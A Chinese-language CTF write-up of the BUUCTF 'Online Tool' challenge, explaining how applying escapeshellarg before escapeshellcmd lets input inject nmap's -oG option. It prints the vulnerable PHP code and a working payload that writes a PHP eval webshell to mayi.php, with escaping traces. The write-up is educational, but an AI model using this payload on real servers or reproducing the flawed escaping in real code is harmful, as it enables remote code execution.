NineOnee

导航

 

escapeshellarg与escapeshellcmd共伤

前言

  • 环境:buuctf中[BUUCTF 2018]Online Tool
  • 知识点:escapeshellarg与escapeshellcmd共用漏洞
  • 参考:wp

做题

审计

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

这题目也是看了好久的wp,太菜了

escapeshellarg


最主要的是会将传入的字符用单引号围起来,能使传入的字符当成字符,而不是shell命令了

就好比

<?php
$a=$_GET[a];
eval("echo $a".';');

如果没使用escapeshellarg就可以任意命令执行,如果使用了escapeshellarg


显然不会执行任意命令

escapeshellcmd


同样可以防止任意shell命令执行,因为它可以把&;之类的管道符转义掉

单独使用escapeshellargescapeshellcmd 中任意一个都不会出现问题,或者先使用escapeshellcmd 再使用escapeshellarg 也不会出现问题,唯有题目中先escapeshellargescapeshellcmd 会有漏洞

我们要rce,但是又不能拼接命令,就只能借用nmap参数,有-oG参数可以实现将命令和结果写到文件

​ 我们payload为 1' shell '

​ escapeshellarg >> '1''' shell ''''

​ escapeshellcmd >> '1'\'' shell '\'''

​ 这样其实我们的shell已经可以被执行了

​ 就类似:

​ nmap -T5 -sT -Pn --host-timeout 2 -F '1'\'' shell '\'''

最后我们的payload:

' <?php @eval($_POST["mayi"]);?> -oG mayi.php '

这里有个疑问是php代码这里在本地测试时不加引号会报错,但是这里不加引号却有用,很迷。。

最后需要注意

为啥不可以 直接输入命令去执行?
 因为经过escapeshellarg后会给2边加上单引号,此时放过去就类似 nmap '-oG...'这样完全就没有作用了,开始没注意想了蛮久没明白。
需要注意的是 ;|& 等符号会被 escapeshellcmd 转义导致最后无效,所以尽管绕过了单引号,还是不能使用&;之类的字符执行任意命令

payload 记得空格哟

正确的样式:
' <?php @eval($_POST["mayi"]);?> -oG mayi.php '

$host = escapeshellarg($host);
>>> ''\'' <?php @eval($_POST["mayi"]);?> -oG mayi.php' \'''

$host = escapeshellcmd($host);
>>> ''\'' \<\?php @eval($_POST["mayi"])\;\?\> -oG mayi.php' \\'''

# 等价于  \<\?php @eval($_POST["mayi"])\;\?\> -oG mayi.php \\

# 根据解析规则
# 等价于  \<\?php @eval($_POST["mayi"])\;\?\> -oG mayi.php
# 写入后  <?php @eval($_POST["mayi"]);?> -oG mayi.php
——————————————————————————————————————————
但是如果你的payload为:
?host=' <?php @eval($_POST["mayi"]);?> -oG mayi.php'
>>> ''\'' \<\?php @eval($_POST["mayi"])\;\?\> -oG mayi.php'\\'''
>>> <?php @eval($_POST["mayi"]);?> -oG mayi.php\\
# 这样是不会被认为是php文件的。
#所以说必须后面要有 ‘ 而且前面要有空格哟。
posted on 2020-12-07 22:31  NineOne_E  阅读(1275)  评论(0编辑  收藏  举报